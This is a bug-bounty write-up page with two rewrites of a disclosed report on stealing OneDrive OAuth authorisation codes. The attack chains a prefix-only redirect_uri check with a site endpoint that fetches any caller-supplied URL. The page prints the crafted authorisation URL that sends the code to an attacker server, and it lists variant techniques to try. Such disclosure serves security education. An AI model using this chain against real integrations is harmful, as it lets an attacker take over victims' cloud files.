Skip to content
OAuth / SSO Write-up Intermediate

Stealing access token of one drive integration by chain csrf vulnerability

The OAuth redirect_uri validation for a OneDrive integration accepted any path under a fixed prefix, so an attacker could point it at an API endpoint that forwards requests to an arbitrary URL. By chaining this with that endpoint's open redirect behaviour, the OAuth authorisation code could be sent to an attacker-controlled server.

Arbaz Hussain Follow

Published on medium.com

#### Arbaz Hussain

Arbaz Hussain, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target was a site offering third-party integrations, reachable through an integrations tab at site.com/integrations. Among the available integrations was OneDrive, which the site connected to through Microsoft's OAuth authorisation endpoint at login.live.com. Activating the integration sends the user through the standard authorisation code flow: the site's client identifier, a response_type=code, a redirect_uri pointing back at the site, and a scope covering basic profile, SkyDrive read and write, and offline access.

The researcher rated the issue High severity, Easy complexity, and described the weakness as a partial OAuth redirect_uri path.

Setup

No special tooling is described. The precondition is simply an account on the site with access to the integrations tab, and the ability to click Activate on the OneDrive integration. The researcher also read the site's public API documentation, which turned out to be the decisive step.

Finding it

Clicking Activate on the OneDrive integration redirected the browser to the Microsoft authorisation endpoint:

HTTP
https://login.live.com/oauth20_authorize.srf?client_id=00000000440E0CCX&response_type=code&redirect_uri=https://www.site.com/account/skydriveOAuthCallback&scope=wl.basic wl.skydrive wl.skydrive_update wl.offline_access

The interesting parameter is the callback the authorisation server will send the code to:

Text
redirect_uri=https://www.site.com/account/skydriveOAuthCallback

The researcher started manipulating redirect_uri and found that the authorisation server accepted anything appended after the /account/ prefix:

Text
redirect_uri=https://www.site.com/account/xxxxxxxxxx

That confirmed the redirect URI was not matched on a strict path. Anything after https://www.site.com/account/ was accepted, for example:

HTTP
https://login.live.com/oauth20_authorize.srf?client_id=00000000440E0CCX&response_type=code&redirect_uri=https://www.site.com/xxxxxxxxxxx&scope=wl.basic wl.skydrive wl.skydrive_update wl.offline_access

A loose redirect_uri match alone does not hand the code to an attacker, because the code still lands on the site's own domain. The obvious next move is to find an open redirect on site.com that would forward the request, with the code in the query string, to a server the attacker controls. The researcher looked for open redirect endpoints on the site and found none.

Exploitation

The breakthrough came the next day, while reading the site's API documentation. The documentation described an endpoint used to check API callback requests against your own server:

HTTP
GET /api/testCallback?callback_url=http://yoursite.com

This endpoint makes a GET request to a URL supplied by the caller. That is a CSRF-style primitive: an attacker can cause the site to issue a request to an arbitrary server. Combined with the loose redirect_uri match, it gives a way to bounce the OAuth code off the site and out to the attacker.

Step 1: Activate the integration

With an account on the site, open the integrations tab at site.com/integrations and click Activate on the OneDrive integration. The browser is redirected to the Microsoft authorisation endpoint shown above.

Step 2: Probe the redirect_uri match

Change the path after /account/ to an arbitrary value and observe that the authorisation server still accepts the request. This shows the redirect URI is validated by prefix rather than by exact path.

Step 3: Look for an open redirect

Search site.com for an open redirect that could forward the authorisation response to an attacker-controlled host. None was found, so this route was abandoned.

Step 4: Read the API documentation

The documentation reveals GET /api/testCallback?callback_url=http://yoursite.com, an endpoint that performs a server-side GET to a caller-supplied URL. This is the redirect primitive needed to complete the chain.

Step 5: Chain the two issues

The attacker's host is placed in the callback_url parameter, and the whole testCallback URL is placed after the accepted /account/ prefix in redirect_uri:

Text
&redirect_uri=https://www.site.com /api/testCallback?callback_url=http://[redacted]/?

The full authorisation URL becomes:

HTTP
https://login.live.com/oauth20_authorize.srf?client_id=00000000440E0CCX&response_type=code&redirect_uri=https://www.site.com /api/testCallback?callback_url=http://[redacted]/?&scope=wl.basic+wl.skydrive+wl.skydrive_update+wl.offline_access

The researcher marked the chain as a success, showing the crafted authorisation URL with the attacker host in callback_url. The researcher marked the chain as a success.

Root cause

The authorisation server validated redirect_uri by prefix rather than by exact path. Any URI beginning with https://www.site.com/account/ was accepted, so the attacker could point the redirect at a different endpoint on the same host. The site then supplied a second weakness: GET /api/testCallback makes a GET request to a caller-controlled callback_url, a CSRF-style primitive. Neither issue is sufficient alone; together they move the code off the site and to the attacker.

Impact

The chain aims to deliver the OAuth authorisation code to the attacker's server, which the researcher marked as a success. With the code, and the scopes requested (wl.basic, wl.skydrive, wl.skydrive_update, wl.offline_access), the attacker can act on the victim's OneDrive through the integration.

Fix

The researcher's recommendation is to match the exact path on redirect_uri instead of accepting partial matches:

Image for post
Image for post From the original on medium.com

The report does not say whether the site changed the testCallback endpoint or how the fix was deployed.

  1. Prefix-matched redirect_uri on other OAuth providers. Register or observe an integration and vary the path after the registered prefix. A positive result is the provider accepting a redirect_uri whose path differs from the registered one.
  2. Same-host endpoints that fetch URLs. Look for documentation or behaviour around callback testers, webhook validators, URL previews and importers. A positive result is a request arriving at a server you control with the OAuth code or other sensitive parameter attached.
  3. Path traversal or encoding tricks against the prefix. Try encoded slashes, dot segments and userinfo in the authority to escape the accepted prefix. A positive result is the provider accepting a URI that resolves to a different host.
  4. Chaining with any open redirect. If a strict path is enforced but an open redirect exists on the registered host, test whether the code can be forwarded. A positive result is the code appearing in a request to your server.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A website let its users connect their OneDrive account to the site, so the site could read and write files in that OneDrive. To do this safely, the site used Microsoft's login system: the user is sent to Microsoft, logs in there, and Microsoft sends a short-lived code back to the site.

The researcher found that Microsoft's login page was too relaxed about where it sent that code back. It only checked the beginning of the address, not the whole address. On its own that was not enough to steal anything, because the code still went to the site's own domain. But the site also had a small helper endpoint, described in its public API documentation, that would fetch any web address you gave it. By putting that helper endpoint into the return address, the researcher crafted a URL intended to forward the code to a server under their own control. Two small weaknesses, chained together, handed over the key to a victim's OneDrive.

The researcher rated it High severity and Easy complexity, and named the weakness as a partial OAuth redirect_uri path.

Background you need first

Before walking through the steps, here are the ideas the report relies on.

OAuth is a way for one website to get limited access to your account on another website without ever seeing your password. Think of a hotel key card: the front desk (Microsoft) checks who you are, then gives the site a card that opens only certain doors (read files, write files) for a limited time. You never hand over your passport.

The authorisation code flow is the most common version of OAuth. The site sends your browser to Microsoft with a request that says "I am site.com, and when you are done, send the user back to this address". Microsoft asks you to log in and approve. If you approve, Microsoft sends your browser back to the address the site named, with a short code attached. The site's server then trades that code for an access token. The code is single-use and short-lived, but anyone who gets it before the site does can trade it in themselves.

redirect_uri is the address Microsoft sends you back to. It is a parameter in the URL, which means it is visible in the browser's address bar and can be edited. Because it decides where the sensitive code lands, Microsoft is supposed to check it strictly: only the exact address the site registered should be accepted.

client_id is the site's public identifier at Microsoft. It is not a secret; it just tells Microsoft which application is asking.

scope is the list of permissions being requested. Here it covers basic profile information, reading and writing SkyDrive (the old name for OneDrive), and offline access, which means the site can keep using the token later without you being present.

An access token is the key itself. Whoever holds it can act as you towards the service, within the permissions granted.

An API is a set of addresses a website exposes so that programs, not just people clicking buttons, can talk to it. The site's API documentation is a public list of those addresses and what they do.

CSRF, or Cross-Site Request Forgery, is when an attacker makes your browser, or a server acting on your behalf, send a request you did not intend. The everyday comparison: a signed blank cheque. If a company will act on any instruction that arrives on its own letterhead, an attacker just needs to get an instruction onto that letterhead.

An open redirect is a page on a site that will forward you to any address you name. Attackers love them because the first hop looks trustworthy.

A GET request is the simplest kind of web request: your browser asking a server for an address. It can carry parameters in the URL, after a ?.

Setting up

The report describes no special tools. All you need is an account on the site with access to its integrations tab, and the ability to click Activate on the OneDrive integration. The researcher also read the site's public API documentation, which turned out to be the decisive step.

Finding it

The site had a tab at site.com/integrations listing third-party services you could connect. One of them was OneDrive. Clicking Activate on it sent the browser to Microsoft's authorisation endpoint at login.live.com:

HTTP
https://login.live.com/oauth20_authorize.srf?client_id=00000000440E0CCX&response_type=code&redirect_uri=https://www.site.com/account/skydriveOAuthCallback&scope=wl.basic wl.skydrive wl.skydrive_update wl.offline_access

Line by line, reading the URL:

  • https://login.live.com/oauth20_authorize.srf is Microsoft's page that handles the approval step.
  • client_id=00000000440E0CCX identifies the site to Microsoft.
  • response_type=code says "send back a code", not a token directly.
  • redirect_uri=https://www.site.com/account/skydriveOAuthCallback is where Microsoft will send the browser, and the code, once you approve.
  • scope=wl.basic wl.skydrive wl.skydrive_update wl.offline_access lists the permissions being asked for.

The parameter worth staring at is the return address:

Text
redirect_uri=https://www.site.com/account/skydriveOAuthCallback

The researcher started changing redirect_uri to see what Microsoft would accept, and found that anything appended after the /account/ prefix was accepted:

Text
redirect_uri=https://www.site.com/account/xxxxxxxxxx

In plain words: Microsoft was not checking the whole address. It was checking only that the address started with https://www.site.com/account/, and then letting the rest be whatever the caller wanted. That is like a bouncer who checks that you are wearing the right colour shirt and then lets in anyone behind you. The report calls this a partial match, as opposed to a strict path match.

That confirmed the redirect URI was not matched on a strict path. Anything after https://www.site.com/account/ was accepted, for example:

HTTP
https://login.live.com/oauth20_authorize.srf?client_id=00000000440E0CCX&response_type=code&redirect_uri=https://www.site.com/xxxxxxxxxxx&scope=wl.basic wl.skydrive wl.skydrive_update wl.offline_access

Here the only change from the original is that redirect_uri now ends in xxxxxxxxxxx instead of the real callback path. Microsoft still accepted it, which proves the check is on the prefix only.

Why is that not enough on its own? Because the code still lands on site.com. The attacker does not control site.com, so the code arrives at the site's own server, not at the attacker's. To steal it, the attacker needs a way to make site.com forward the request, with the code attached, to a server they do control. The obvious candidate is an open redirect somewhere on the site. The researcher searched for one and found none, so that route was abandoned.

Exploitation

The breakthrough came the next day, while reading the site's API documentation. The documentation described an endpoint used to check API callback requests against your own server:

HTTP
GET /api/testCallback?callback_url=http://yoursite.com

Line by line:

  • GET is the request method: a plain request for an address.
  • /api/testCallback is the endpoint on the site.
  • callback_url=http://yoursite.com is a parameter the caller fills in with the address they want tested.

What the endpoint does, according to the documentation, is make a request from the site's server to whatever address you put in callback_url. That is exactly the forwarding behaviour the researcher needed, and it is a CSRF-style primitive: an attacker can cause the site to issue a request to an arbitrary server. Combined with the loose redirect_uri match, it gives a way to bounce the OAuth code off the site and out to the attacker.

Step 1: Activate the integration

With an account on the site, open the integrations tab at site.com/integrations and click Activate on the OneDrive integration. The browser is redirected to the Microsoft authorisation endpoint shown above. This step is just to see the real request the site makes, so you know what a normal one looks like before you start editing it.

Step 2: Probe the redirect_uri match

Change the path after /account/ to an arbitrary value and observe that the authorisation server still accepts the request. This shows the redirect URI is validated by prefix rather than by exact path. The purpose of this step is to confirm the weakness exists before trying to exploit it.

Step 3: Look for an open redirect

Search site.com for an open redirect that could forward the authorisation response to an attacker-controlled host. None was found, so this route was abandoned. This step matters because it explains why the researcher kept looking: a loose redirect_uri alone is not enough.

Step 4: Read the API documentation

The documentation reveals GET /api/testCallback?callback_url=http://yoursite.com, an endpoint that performs a server-side GET to a caller-supplied URL. This is the redirect primitive needed to complete the chain. The lesson here is that public documentation is a map of everything a site will do on your behalf, and it is worth reading carefully.

Step 5: Chain the two issues

The attacker's host is placed in the callback_url parameter, and the whole testCallback URL is placed after the accepted /account/ prefix in redirect_uri:

Text
&redirect_uri=https://www.site.com /api/testCallback?callback_url=http://[redacted]/?

Line by line:

  • &redirect_uri= starts the parameter, as it would appear inside a longer URL.
  • https://www.site.com /api/testCallback is the site's helper endpoint, written after the accepted prefix. Note the space between site.com and /api; it is present in the report as written.
  • ?callback_url=http://[redacted]/? tells the helper endpoint to fetch the attacker's server.

The full authorisation URL becomes:

HTTP
https://login.live.com/oauth20_authorize.srf?client_id=00000000440E0CCX&response_type=code&redirect_uri=https://www.site.com /api/testCallback?callback_url=http://[redacted]/?&scope=wl.basic+wl.skydrive+wl.skydrive_update+wl.offline_access

Line by line:

  • The start is the same Microsoft authorisation endpoint with the same client_id and response_type=code.
  • redirect_uri now points at the site's testCallback endpoint, with the attacker's server in callback_url.
  • scope is unchanged, still asking for basic profile, SkyDrive read and write, and offline access.

The researcher marked the chain as a success, showing the crafted authorisation URL with the attacker host in callback_url. The researcher marked the chain as a success.

Root cause

The authorisation server validated redirect_uri by prefix rather than by exact path. Any URI beginning with https://www.site.com/account/ was accepted, so the attacker could point the redirect at a different endpoint on the same host. The site then supplied a second weakness: GET /api/testCallback fetches a caller-controlled callback_url, which turns a same-origin endpoint into an open redirect for the authorisation response. Neither issue is sufficient alone; together they move the code off the site and to the attacker.

Think of it as two doors. The first door lets you into the building but not out. The second door lets you out but only if you are already inside. Neither is a break-in on its own; together they are an exit.

Impact

The chain aims to deliver the OAuth authorisation code to the attacker's server, which the researcher marked as a success. With the code, and the scopes requested (wl.basic, wl.skydrive, wl.skydrive_update, wl.offline_access), the attacker can act on the victim's OneDrive through the integration.

Fix

The researcher's recommendation is to match the exact path on redirect_uri instead of accepting partial matches:

Image for post
Image for post From the original on medium.com

The report does not say whether the site changed the testCallback endpoint or how the fix was deployed.

Variants to test

  1. Prefix-matched redirect_uri on other OAuth providers. Register or observe an integration and vary the path after the registered prefix. A positive result is the provider accepting a redirect_uri whose path differs from the registered one.
  2. Same-host endpoints that fetch URLs. Look for documentation or behaviour around callback testers, webhook validators, URL previews and importers. A positive result is a request arriving at a server you control with the OAuth code or other sensitive parameter attached.
  3. Path traversal or encoding tricks against the prefix. Try encoded slashes, dot segments and userinfo in the authority to escape the accepted prefix. A positive result is the provider accepting a URI that resolves to a different host.
  4. Chaining with any open redirect. If a strict path is enforced but an open redirect exists on the registered host, test whether the code can be forwarded. A positive result is the code appearing in a request to your server.

Glossary

  • Access token: a key issued by a service that lets the holder act on an account, within the permissions granted.
  • API: a set of addresses a website exposes so programs can talk to it, usually documented publicly.
  • Authorisation code: a short-lived, single-use code Microsoft sends back to the site, which the site trades for an access token.
  • Authorisation code flow: the standard OAuth sequence where the user approves at the provider, a code comes back to the site, and the site exchanges it for a token.
  • Callback: the address a service sends the user back to after an action, often carrying a result such as a code.
  • callback_url: a parameter on the site's helper endpoint naming the address the site should fetch.
  • client_id: the site's public identifier at the OAuth provider.
  • CSRF (Cross-Site Request Forgery): tricking a site or browser into sending a request the user did not intend.
  • GET request: a plain web request for an address, with parameters carried in the URL.
  • OAuth: a system that lets one site get limited access to your account on another site without seeing your password.
  • Open redirect: a page that forwards visitors to any address they name.
  • redirect_uri: the address the OAuth provider sends the user back to, and where the code lands.
  • response_type=code: the parameter telling the provider to return an authorisation code rather than a token.
  • Scope: the list of permissions being requested, such as reading files or offline access.
  • Strict path match: checking the whole address exactly, rather than only its beginning.
  • Prefix match: checking only that an address starts with a given string, and accepting anything after it.
  • Server-side request: a request made by a website's server, not by your browser, to another address.
  • SkyDrive: the former name for OneDrive, still used in the parameter names here.
  • Webhook: an address a service calls to notify another system of an event.

More by Arbaz Hussain

View all

14 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.